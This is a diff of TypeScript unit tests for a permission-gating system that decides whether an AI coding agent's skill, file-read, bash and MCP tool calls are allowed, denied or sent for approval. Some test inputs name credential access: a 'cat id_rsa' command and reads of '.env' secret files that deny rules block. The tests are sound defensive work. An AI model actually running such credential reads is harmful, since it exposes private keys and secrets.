const pipeline = new SkillInputGatePipeline(inputs);
await pipeline.evaluate("explorer", "code-agent", makeNotifier(), runner);
expect(inputs.checkPermission).toHaveBeenCalledWith(
"skill",
{ name: "explorer" },
"code-agent",
);
});
it("calls checkPermission with undefined agentName when agentName is null", async () => {
const inputs = makeSkillInputInputs();
const { runner } = makeGateRunner();
const pipeline = new SkillInputGatePipeline(inputs);
await pipeline.evaluate("explorer", null, makeNotifier(), runner);
expect(inputs.checkPermission).toHaveBeenCalledWith(
"skill",
{ name: "explorer" },
undefined,
);
});
});
@@ -0,0 +1,146 @@
import { describe, expect, it } from "vitest";
import { describeSkillInputGate } from "#src/handlers/gates/skill-input";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
// ── helpers ────────────────────────────────────────────────────────────────
function makeSkillCheck(state: "allow" | "deny" | "ask") {
return makeCheckResult({
state,
toolName: "skill",
source: "skill",
origin: "global",
matchedPattern: "*",
});
}
// ── describeSkillInputGate ─────────────────────────────────────────────────
describe("describeSkillInputGate", () => {
it("sets surface to 'skill'", () => {
const descriptor = describeSkillInputGate(
"librarian",
null,
makeSkillCheck("allow"),
);
expect(descriptor.surface).toBe("skill");
});
it("sets input.name to the skill name", () => {
const descriptor = describeSkillInputGate(
"librarian",
null,
makeSkillCheck("allow"),
);
expect(descriptor.input).toEqual({ name: "librarian" });
});
it("passes preCheck through verbatim", () => {
const check = makeSkillCheck("deny");
const descriptor = describeSkillInputGate("librarian", null, check);
expect(descriptor.preCheck).toBe(check);
});
it("makes the skill the payload's decision-relevant value", () => {
const descriptor = describeSkillInputGate(
"librarian",
null,
makeSkillCheck("allow"),
);
expect(descriptor.payload.kind).toBe("skill");
expect(descriptor.payload.request.surface).toBe("skill");
expect(descriptor.payload.request.value).toBe("librarian");
expect(descriptor.payload.request.requester.agentName).toBeNull();
});
it("names the requesting agent on the payload when provided", () => {
const descriptor = describeSkillInputGate(
"librarian",
"code-agent",
makeSkillCheck("allow"),
);
expect(descriptor.payload.request.requester.agentName).toBe("code-agent");
});
it("sets promptDetails source to 'skill_input' with skill name and agent", () => {
const descriptor = describeSkillInputGate(
"librarian",
"code-agent",
makeSkillCheck("ask"),
);
expect(descriptor.promptDetails).toMatchObject({
source: "skill_input",
agentName: "code-agent",
skillName: "librarian",
});
});
it("emits a skill payload naming the skill as the decision value", () => {
const descriptor = describeSkillInputGate(
"librarian",
"code-agent",
makeSkillCheck("ask"),
);
expect(descriptor.payload.kind).toBe("skill");
expect(descriptor.payload.request.value).toBe("librarian");
});
it("names the skill in promptDetails so the prompt can identify it", () => {
const descriptor = describeSkillInputGate(
"librarian",
null,
makeSkillCheck("ask"),
);
expect(descriptor.promptDetails.skillName).toBe("librarian");
});
it("sets logContext source to 'skill_input' with skill name and agent", () => {
const descriptor = describeSkillInputGate(
"librarian",
"code-agent",
makeSkillCheck("allow"),
);
expect(descriptor.logContext).toMatchObject({
source: "skill_input",
skillName: "librarian",
agentName: "code-agent",
});
});
it("sets decision surface to 'skill' and value to the skill name", () => {
const descriptor = describeSkillInputGate(
"my-skill",
null,
makeSkillCheck("allow"),
);
expect(descriptor.decision).toEqual({
surface: "skill",
value: "my-skill",
});
});
it("carries the skill name as single-value access facts on promptDetails", () => {
const descriptor = describeSkillInputGate(
"my-skill",
null,
makeSkillCheck("ask"),
);
expect(descriptor.promptDetails.accessIntent).toEqual({
surface: "skill",
matchValues: ["my-skill"],
boundaryValue: null,
});
});
it("does not set preResolved or sessionApproval", () => {
const descriptor = describeSkillInputGate(
"librarian",
null,
makeSkillCheck("allow"),
);
expect(descriptor.preResolved).toBeUndefined();
expect(descriptor.sessionApproval).toBeUndefined();
});
});
@@ -0,0 +1,185 @@
import { describe, expect, it, vi } from "vitest";
import { describeSkillReadGate } from "#src/handlers/gates/skill-read";
import type { ToolCallContext } from "#src/handlers/gates/types";
import { posixPathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import type { SkillPromptEntry } from "#src/skill-prompt-sanitizer";
// All test tccs use cwd "/test/project"; one normalizer serves every call.
const normalizer = new PathNormalizer(posixPathFlavor, "/test/project");
// ── SDK stubs ──────────────────────────────────────────────────────────────
vi.mock("@earendil-works/pi-coding-agent", async (importOriginal) => {
const original =
await importOriginal<typeof import("@earendil-works/pi-coding-agent")>();
return { ...original };
});
// ── helpers ────────────────────────────────────────────────────────────────
function makeSkillEntry(
overrides: Partial<SkillPromptEntry> = {},
): SkillPromptEntry {
return {
name: "librarian",
description: "Research skills",
location: "/skills/librarian/SKILL.md",
state: "ask",
normalizedLocation: "/skills/librarian/SKILL.md",
normalizedBaseDir: "/skills/librarian",
...overrides,
};
}
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
return {
toolName: "read",
agentName: null,
input: { path: "/skills/librarian/SKILL.md" },
toolCallId: "tc-1",
cwd: "/test/project",
...overrides,
};
}
// ── tests ──────────────────────────────────────────────────────────────────
describe("describeSkillReadGate", () => {
it("returns null when tool is not read", () => {
const result = describeSkillReadGate(
makeTcc({ toolName: "write" }),
normalizer,
() => [makeSkillEntry()],
);
expect(result).toBeNull();
});
it("returns null when no active skill entries", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => []);
expect(result).toBeNull();
});
it("returns null when read path does not match any skill", () => {
const result = describeSkillReadGate(
makeTcc({ input: { path: "/test/project/src/index.ts" } }),
normalizer,
() => [makeSkillEntry()],
);
expect(result).toBeNull();
});
it("returns null when input has no path", () => {
const result = describeSkillReadGate(
makeTcc({ input: {} }),
normalizer,
() => [makeSkillEntry()],
);
expect(result).toBeNull();
});
it("returns GateDescriptor with preResolved.state matching skill entry state (ask)", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ state: "ask" }),
]);
expect(result).not.toBeNull();
const desc = result!;
expect(desc.preResolved).toEqual({ state: "ask" });
});
it("returns GateDescriptor with preResolved.state matching skill entry state (allow)", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ state: "allow" }),
]);
expect(result).not.toBeNull();
const desc = result!;
expect(desc.preResolved).toEqual({ state: "allow" });
});
it("returns GateDescriptor with preResolved.state matching skill entry state (deny)", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ state: "deny" }),
]);
expect(result).not.toBeNull();
const desc = result!;
expect(desc.preResolved).toEqual({ state: "deny" });
});
it("decision surface is 'skill' and decision value is the skill name", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ name: "my-skill" }),
])!;
expect(result.decision.surface).toBe("skill");
expect(result.decision.value).toBe("my-skill");
});
it("carries the skill name as single-value access facts on promptDetails", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ name: "my-skill" }),
])!;
expect(result.promptDetails.accessIntent).toEqual({
surface: "skill",
matchValues: ["my-skill"],
boundaryValue: null,
});
});
it("emits a skill_read payload keeping the skill as the decision value", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ name: "my-skill" }),
])!;
expect(result.payload.kind).toBe("skill_read");
expect(result.payload.request.value).toBe("my-skill");
});
it("payload contains the skill name and the path it was reached through", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry({ name: "librarian" }),
])!;
expect(result.payload.kind).toBe("skill_read");
expect(result.payload.request.value).toBe("librarian");
expect(result.payload.request.requester.agentName).toBeNull();
expect(result.payload.evidence).toEqual([
{
label: "read path",
text: "/skills/librarian/SKILL.md",
detail: null,
},
]);
});
it("promptDetails includes skill_read source and skillName", () => {
const result = describeSkillReadGate(
makeTcc({ agentName: "test-agent", toolCallId: "tc-42" }),
normalizer,
() => [makeSkillEntry({ name: "my-skill" })],
)!;
expect(result.promptDetails).toMatchObject({
source: "skill_read",
agentName: "test-agent",
toolCallId: "tc-42",
toolName: "read",
skillName: "my-skill",
});
});
it("logContext includes skill_read source and skillName", () => {
const result = describeSkillReadGate(
makeTcc({ agentName: "agent-1" }),
normalizer,
() => [makeSkillEntry({ name: "librarian" })],
)!;
expect(result.logContext).toMatchObject({
source: "skill_read",
skillName: "librarian",
agentName: "agent-1",
});
});
it("surface is 'skill' on the descriptor", () => {
const result = describeSkillReadGate(makeTcc(), normalizer, () => [
makeSkillEntry(),
])!;
expect(result.surface).toBe("skill");
});
});
@@ -0,0 +1,487 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
import type { AccessPath } from "#src/access-intent/access-path";
import { ToolCallGatePipeline } from "#src/handlers/gates/tool-call-gate-pipeline";
import { PathNormalizer } from "#src/path-normalizer";
import {
makeGateInputs,
makeGateRunner,
makeResolver,
makeTcc,
} from "#test/helpers/gate-fixtures";
import { makeCheckResult } from "#test/helpers/handler-fixtures";
// ── BashProgram.parse mock ─────────────────────────────────────────────────
const { mockBashProgramParse } = vi.hoisted(() => ({
mockBashProgramParse: vi.fn(),
}));
vi.mock("#src/access-intent/bash/program", () => ({
BashProgram: { parse: mockBashProgramParse },
}));
// Mock node:fs so realpathSync (used by canonicalizePath) is controllable for
// the per-tool symlink-resolution test. Default implementation is identity.
const realpathSync = vi.hoisted(() =>
vi.fn<(path: string) => string>((p) => p),
);
vi.mock("node:fs", () => ({
realpathSync,
default: { realpathSync },
}));
function makeMockBashProgram(command = "echo hello") {
return {
commandText: vi.fn(() => command),
commands: vi.fn<() => []>(() => []),
pathRuleCandidates: vi.fn<() => []>(() => []),
externalPaths: vi.fn<() => AccessPath[]>(() => []),
};
}
// ── ToolCallGatePipeline ───────────────────────────────────────────────────
describe("ToolCallGatePipeline", () => {
beforeEach(() => {
mockBashProgramParse.mockReset();
mockBashProgramParse.mockResolvedValue(makeMockBashProgram());
realpathSync.mockReset();
realpathSync.mockImplementation((p: string) => p);
});
// ── non-bash tools ───────────────────────────────────────────────────────
describe("evaluate — non-bash tool", () => {
it("returns allow when all gates pass", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({ toolName: "read", input: {} }),
runner,
);
expect(result).toEqual({ action: "allow" });
});
it("returns block when the tool gate denies", async () => {
const resolver = makeResolver(
makeCheckResult({ state: "deny", matchedPattern: "*" }),
);
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({ toolName: "read", input: {} }),
runner,
);
expect(result).toMatchObject({ action: "block" });
});
it("short-circuits after the first blocking gate without evaluating later ones", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const runSpy = vi
.spyOn(runner, "run")
.mockResolvedValue({ action: "block", reason: "first gate blocked" });
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({ toolName: "read", input: {} }),
runner,
);
expect(result).toEqual({ action: "block", reason: "first gate blocked" });
// Pipeline looped to the first gate, got block, and stopped — not all 6 gates.
expect(runSpy).toHaveBeenCalledTimes(1);
});
it("calls getToolPreviewLimits() during evaluate", async () => {
const getToolPreviewLimits = vi.fn(() => ({
toolInputPreviewMaxLength: 500,
toolTextSummaryMaxLength: 100,
}));
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs({ getToolPreviewLimits });
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
expect(getToolPreviewLimits).toHaveBeenCalled();
});
it("calls getInfrastructureReadDirs() during evaluate", async () => {
const getInfrastructureReadDirs = vi.fn<() => string[]>(() => []);
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs({ getInfrastructureReadDirs });
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
expect(getInfrastructureReadDirs).toHaveBeenCalled();
});
it("calls getActiveSkillEntries() during evaluate", async () => {
const getActiveSkillEntries = vi.fn<() => []>(() => []);
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs({ getActiveSkillEntries });
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
expect(getActiveSkillEntries).toHaveBeenCalled();
});
it("does not call BashProgram.parse for non-bash tools", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
expect(mockBashProgramParse).not.toHaveBeenCalled();
});
});
// ── bash tool ────────────────────────────────────────────────────────────
describe("evaluate — bash tool", () => {
it("returns allow when the bash command is permitted", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({ toolName: "bash", input: { command: "echo hello" } }),
runner,
);
expect(result).toEqual({ action: "allow" });
});
it("parses BashProgram exactly once per evaluate for bash tools with a command", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({ toolName: "bash", input: { command: "echo hello" } }),
runner,
);
expect(mockBashProgramParse).toHaveBeenCalledTimes(1);
expect(mockBashProgramParse).toHaveBeenCalledWith(
"echo hello",
expect.any(PathNormalizer),
{ workdir: undefined },
);
});
it("does not parse BashProgram when the bash command is empty", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({ toolName: "bash", input: { command: "" } }),
runner,
);
expect(mockBashProgramParse).not.toHaveBeenCalled();
});
it("parses a bash command with no policy input — candidacy is not rule-driven (#645)", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({
toolName: "bash",
input: { command: "cat id_rsa" },
agentName: "my-agent",
}),
runner,
);
expect(mockBashProgramParse).toHaveBeenCalledWith(
"cat id_rsa",
expect.any(PathNormalizer),
{ workdir: undefined },
);
});
});
// ── aliased shell tool (#574) ────────────────────────────────────────────
describe("evaluate — aliased shell tool (#574)", () => {
const execAliases = {
exec_command: { commandArgument: "cmd", workdirArgument: "workdir" },
};
function bashProgramWithCommand(text: string) {
return {
commandText: vi.fn(() => text),
commands: vi.fn(() => [{ text }]),
pathRuleCandidates: vi.fn<() => []>(() => []),
externalPaths: vi.fn<() => AccessPath[]>(() => []),
};
}
it("consults getShellToolAliases and parses the aliased command argument", async () => {
const getShellToolAliases = vi.fn(() => execAliases);
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs({ getShellToolAliases });
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
runner,
);
expect(getShellToolAliases).toHaveBeenCalled();
expect(mockBashProgramParse).toHaveBeenCalledWith(
"npm install",
expect.any(PathNormalizer),
{ workdir: undefined },
);
});
it("threads the aliased workdir argument into BashProgram.parse (#574)", async () => {
const inputs = makeGateInputs({
getShellToolAliases: () => execAliases,
});
const resolver = makeResolver(makeCheckResult());
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({
toolName: "exec_command",
input: { cmd: "cat file", workdir: "/etc" },
}),
runner,
);
expect(mockBashProgramParse).toHaveBeenCalledWith(
"cat file",
expect.any(PathNormalizer),
{ workdir: "/etc" },
);
});
it("resolves the aliased per-tool check on the bash surface, never the tool's own", async () => {
mockBashProgramParse.mockResolvedValue(
bashProgramWithCommand("npm install"),
);
const resolver = makeResolver(
makeCheckResult({ source: "bash", command: "npm install" }),
);
const inputs = makeGateInputs({
getShellToolAliases: () => execAliases,
});
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
runner,
);
const bashCall = resolver.resolve.mock.calls.find(
([intent]) => intent.surface === "bash",
);
expect(bashCall?.[0]).toMatchObject({
surface: "bash",
input: { command: "npm install" },
});
const aliasCall = resolver.resolve.mock.calls.find(
([intent]) => intent.surface === "exec_command",
);
expect(aliasCall).toBeUndefined();
});
it("blocks an aliased command denied on the bash surface", async () => {
mockBashProgramParse.mockResolvedValue(
bashProgramWithCommand("npm install"),
);
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intent.surface === "bash"
? makeCheckResult({
state: "deny",
source: "bash",
command: "npm install",
matchedPattern: "npm *",
})
: makeCheckResult(),
);
const inputs = makeGateInputs({
getShellToolAliases: () => execAliases,
});
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
runner,
);
expect(result).toMatchObject({ action: "block" });
});
it("does not treat an extension tool as a shell without a shellTools alias", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs(); // getShellToolAliases → undefined
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
runner,
);
expect(mockBashProgramParse).not.toHaveBeenCalled();
});
});
// ── customExtractors threading (#352) ────────────────────────────────────
describe("evaluate — customExtractors threading (#352)", () => {
// Deny only the cross-cutting `path` surface; allow everything else, so a
// block can only come from the path gate seeing the extracted path.
function pathDenyingResolver() {
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intent.surface === "path"
? makeCheckResult({ state: "deny", matchedPattern: "*" })
: makeCheckResult(),
);
return resolver;
}
const extractors = {
get: (name: string) =>
name === "ffgrep"
? (input: Record<string, unknown>) =>
typeof input.target === "string" ? input.target : undefined
: undefined,
};
it("forwards extractors so a custom-shaped tool is path-gated", async () => {
const resolver = pathDenyingResolver();
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(
resolver,
inputs,
undefined,
extractors,
);
const result = await pipeline.evaluate(
makeTcc({
toolName: "ffgrep",
input: { target: "/test/project/secret.env" },
}),
runner,
);
expect(result).toMatchObject({ action: "block" });
});
it("without extractors the custom-shaped tool is not path-gated", async () => {
const resolver = pathDenyingResolver();
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({
toolName: "ffgrep",
input: { target: "/test/project/secret.env" },
}),
runner,
);
expect(result).toEqual({ action: "allow" });
});
});
// ── per-tool path-bearing gate (#502) ────────────────────────────────────
describe("evaluate — per-tool path-bearing gate (#502)", () => {
it("emits an access-path intent on the tool-name surface for a path-bearing tool", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(
makeTcc({ toolName: "read", input: { path: "/test/cwd/foo.ts" } }),
runner,
);
const perTool = resolver.resolve.mock.calls.find(
([intent]) => intent.surface === "read",
);
expect(perTool?.[0].kind).toBe("access-path");
});
it("keeps a path-bearing tool with no path on the tool intent", async () => {
const resolver = makeResolver(makeCheckResult());
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
await pipeline.evaluate(makeTcc({ toolName: "read", input: {} }), runner);
const perTool = resolver.resolve.mock.calls.find(
([intent]) => intent.surface === "read",
);
expect(perTool?.[0].kind).toBe("tool");
});
it("blocks when a per-tool rule matches the symlink-resolved form", async () => {
// /test/cwd/foo.env is a symlink to /vault/foo.env; the per-tool rule is
// keyed on the resolved target, which is only reachable via matchValues().
realpathSync.mockImplementation((p: string) =>
p === "/test/cwd/foo.env" ? "/vault/foo.env" : p,
);
const resolver = makeResolver();
resolver.resolve.mockImplementation((intent) =>
intent.kind === "access-path" &&
intent.surface === "read" &&
intent.path.matchValues().includes("/vault/foo.env")
? makeCheckResult({ state: "deny", matchedPattern: "*.env" })
: makeCheckResult(),
);
const inputs = makeGateInputs();
const { runner } = makeGateRunner();
const pipeline = new ToolCallGatePipeline(resolver, inputs);
const result = await pipeline.evaluate(
makeTcc({ toolName: "read", input: { path: "/test/cwd/foo.env" } }),
runner,
);
expect(result).toMatchObject({ action: "block" });
});
});
});
@@ -0,0 +1,312 @@
import { describe, expect, it } from "vitest";
import type { ShellInvocation } from "#src/access-intent/tool-kind";
import { describeToolGate } from "#src/handlers/gates/tool";
import type { ToolCallContext } from "#src/handlers/gates/types";
import { posixPathFlavor } from "#src/path/path-flavor";
import { PathNormalizer } from "#src/path-normalizer";
import {
TOOL_INPUT_PREVIEW_MAX_LENGTH,
TOOL_TEXT_SUMMARY_MAX_LENGTH,
} from "#src/tool-input-preview";
import { ToolPreviewFormatter } from "#src/tool-preview-formatter";
import type { PermissionCheckResult } from "#src/types";
// ── helpers ────────────────────────────────────────────────────────────────
function makeFormatter(): ToolPreviewFormatter {
return new ToolPreviewFormatter({
toolInputPreviewMaxLength: TOOL_INPUT_PREVIEW_MAX_LENGTH,
toolTextSummaryMaxLength: TOOL_TEXT_SUMMARY_MAX_LENGTH,
});
}
function makeTcc(overrides: Partial<ToolCallContext> = {}): ToolCallContext {
return {
toolName: "read",
agentName: null,
input: {},
toolCallId: "tc-1",
cwd: "/test/project",
...overrides,
};
}
function makeCheckResult(
state: "allow" | "deny" | "ask",
overrides: Partial<PermissionCheckResult> = {},
): PermissionCheckResult {
return {
state,
toolName: "read",
source: "tool",
origin: "builtin",
matchedPattern: "*",
...overrides,
};
}
// The per-tool gate now receives the AccessPath the pipeline builds, bound to
// the makeTcc default cwd; approval values derive from `accessPath.value()`.
const normalizer = new PathNormalizer(posixPathFlavor, "/test/project");
// ── tests ──────────────────────────────────────────────────────────────────
describe("describeToolGate", () => {
it("returns descriptor with tool name as surface for standard tools", () => {
const desc = describeToolGate(
makeTcc({ toolName: "read" }),
makeCheckResult("ask"),
makeFormatter(),
);
expect(desc.surface).toBe("read");
expect(desc.decision.surface).toBe("read");
});
it("returns descriptor with tool name as decision value for standard tools", () => {
const desc = describeToolGate(
makeTcc({ toolName: "write" }),
makeCheckResult("ask"),
makeFormatter(),
);
expect(desc.decision.value).toBe("write");
});
it("returns bash surface with command in decision.value for bash tools", () => {
const check = makeCheckResult("ask", {
toolName: "bash",
command: "git status",
});
const desc = describeToolGate(
makeTcc({ toolName: "bash", input: { command: "git status" } }),
check,
makeFormatter(),
);
expect(desc.surface).toBe("bash");
expect(desc.decision.surface).toBe("bash");
expect(desc.decision.value).toBe("git status");
});
it("gates an aliased shell tool on the bash surface while keeping its tool name in logs (#574)", () => {
const shell: ShellInvocation = {
command: "npm install",
workdir: undefined,
};
const check = makeCheckResult("ask", {
toolName: "bash",
source: "bash",
command: "npm install",
});
const desc = describeToolGate(
makeTcc({ toolName: "exec_command", input: { cmd: "npm install" } }),
check,
makeFormatter(),
undefined,
shell,
);
// Gated as bash: decision, surface, and session rule are bash-shaped.
expect(desc.surface).toBe("bash");
expect(desc.decision.surface).toBe("bash");
expect(desc.decision.value).toBe("npm install");
expect(desc.sessionApproval?.surface).toBe("bash");
expect(desc.sessionApproval?.representativePattern).toBe("npm install*");
// The invoked tool name is preserved for the review log and prompt.
expect(desc.logContext.toolName).toBe("exec_command");
expect(desc.promptDetails.toolName).toBe("exec_command");
// "Gated as bash, invoked as exec_command" is two facts, and the payload
// records both rather than collapsing them.
expect(desc.payload.kind).toBe("bash");
expect(desc.payload.request.toolName).toBe("bash");
expect(desc.payload.request.invokedToolName).toBe("exec_command");
});
it("returns mcp surface with target in decision.value for MCP tools", () => {
const check = makeCheckResult("ask", {
toolName: "mcp",
target: "server:tool",
});
const desc = describeToolGate(
makeTcc({ toolName: "mcp", input: { tool: "server:tool" } }),
check,
makeFormatter(),
);
expect(desc.surface).toBe("mcp");
expect(desc.decision.surface).toBe("mcp");
expect(desc.decision.value).toBe("server:tool");
});
it("carries the checked tool and its matched rule on the payload", () => {
const check = makeCheckResult("deny", {
toolName: "read",
matchedPattern: "re*",
});
const desc = describeToolGate(makeTcc(), check, makeFormatter());
expect(desc.payload.kind).toBe("tool");
expect(desc.payload.request.toolName).toBe("read");
expect(desc.payload.request.matchedPattern).toBe("re*");
expect(desc.payload.request.requester.agentName).toBeNull();
});
it("names the requesting agent on the payload when provided", () => {
const check = makeCheckResult("ask", { toolName: "read" });
const desc = describeToolGate(
makeTcc({ agentName: "my-agent" }),
check,
makeFormatter(),
);
expect(desc.payload.request.requester.agentName).toBe("my-agent");
});
it("carries the command as the decision-relevant value for a bash ask", () => {
const check = makeCheckResult("ask", { toolName: "bash", command: "ls" });
const desc = describeToolGate(
makeTcc({ toolName: "bash", input: { command: "ls" } }),
check,
makeFormatter(),
);
expect(desc.payload.kind).toBe("bash");
expect(desc.payload.request.value).toBe("ls");
});
it("populates sessionApproval via suggestSessionPattern", () => {
const check = makeCheckResult("ask", {
toolName: "bash",
command: "git status",
});
const desc = describeToolGate(
makeTcc({ toolName: "bash", input: { command: "git status" } }),
check,
makeFormatter(),
);
expect(desc.sessionApproval).toBeDefined();
expect(desc.sessionApproval?.surface).toBe("bash");
expect(desc.sessionApproval?.representativePattern).toBeDefined();
});
it("binds a current-directory file's session approval to the cwd subtree", () => {
const check = makeCheckResult("ask", { toolName: "edit" });
const desc = describeToolGate(
makeTcc({
toolName: "edit",
input: { path: "index.html" },
cwd: "/test/project",
}),
check,
makeFormatter(),
normalizer.forPath("index.html"),
);
expect(desc.sessionApproval?.surface).toBe("edit");
expect(desc.sessionApproval?.representativePattern).toBe("/test/project/*");
});
it("resolves a sub-directory file's session approval to an absolute pattern", () => {
// The approval value derives from the AccessPath's lexical absolute form
// (`value()`), so sub-directory approvals are absolute too — the deliberate
// tradeoff that keeps the pattern aligned with the policy values it is
// matched against.
const check = makeCheckResult("ask", { toolName: "edit" });
const desc = describeToolGate(
makeTcc({
toolName: "edit",
input: { path: "src/foo.ts" },
cwd: "/test/project",
}),
check,
makeFormatter(),
normalizer.forPath("src/foo.ts"),
);
expect(desc.sessionApproval?.representativePattern).toBe(
"/test/project/src/*",
);
});
it("falls back to a wildcard session approval when no AccessPath is given", () => {
// A path-bearing tool with no `input.path` keeps the `tool` intent and gets
// no AccessPath, so the suggestion collapses to the catch-all.
const desc = describeToolGate(
makeTcc({ toolName: "read", input: {} }),
makeCheckResult("ask"),
makeFormatter(),
);
expect(desc.sessionApproval?.surface).toBe("read");
expect(desc.sessionApproval?.representativePattern).toBe("*");
});
it("populates promptDetails with correct fields", () => {
const check = makeCheckResult("ask");
const desc = describeToolGate(
makeTcc({ toolName: "read", agentName: "my-agent", toolCallId: "tc-42" }),
check,
makeFormatter(),
);
expect(desc.promptDetails).toMatchObject({
source: "tool_call",
agentName: "my-agent",
toolCallId: "tc-42",
toolName: "read",
});
expect(desc.promptDetails.sessionLabel).toBeDefined();
});
it("carries the AccessPath's facts on promptDetails for a path-bearing tool", () => {
const check = makeCheckResult("ask", { toolName: "edit" });
const accessPath = normalizer.forPath("src/foo.ts");
const desc = describeToolGate(
makeTcc({
toolName: "edit",
input: { path: "src/foo.ts" },
cwd: "/test/project",
}),
check,
makeFormatter(),
accessPath,
);
expect(desc.promptDetails.accessIntent).toEqual({
surface: "edit",
matchValues: accessPath.matchValues(),
boundaryValue: accessPath.boundaryValue(),
});
});
it("carries the single decision value on promptDetails for a non-path tool (bash)", () => {
const check = makeCheckResult("ask", {
toolName: "bash",
command: "git status",
});
const desc = describeToolGate(
makeTcc({ toolName: "bash", input: { command: "git status" } }),
check,
makeFormatter(),
);
expect(desc.promptDetails.accessIntent).toEqual({
surface: "bash",
matchValues: ["git status"],
boundaryValue: null,
});
});
it("populates logContext with tool input preview fields", () => {
const check = makeCheckResult("ask", { toolName: "bash", command: "ls" });
const desc = describeToolGate(
makeTcc({ toolName: "bash", input: { command: "ls" } }),
check,
makeFormatter(),
);
expect(desc.logContext).toMatchObject({
source: "tool_call",
toolName: "bash",
});
expect(desc.logContext.command).toBe("ls");
});
it("uses toolName as input for checkPermission surface", () => {
const desc = describeToolGate(
makeTcc({ toolName: "edit", input: { path: "/a.ts" } }),
makeCheckResult("ask", { toolName: "edit" }),
makeFormatter(),
normalizer.forPath("/a.ts"),
);
expect(desc.surface).toBe("edit");
expect(desc.input).toEqual({ path: "/a.ts" });
});
});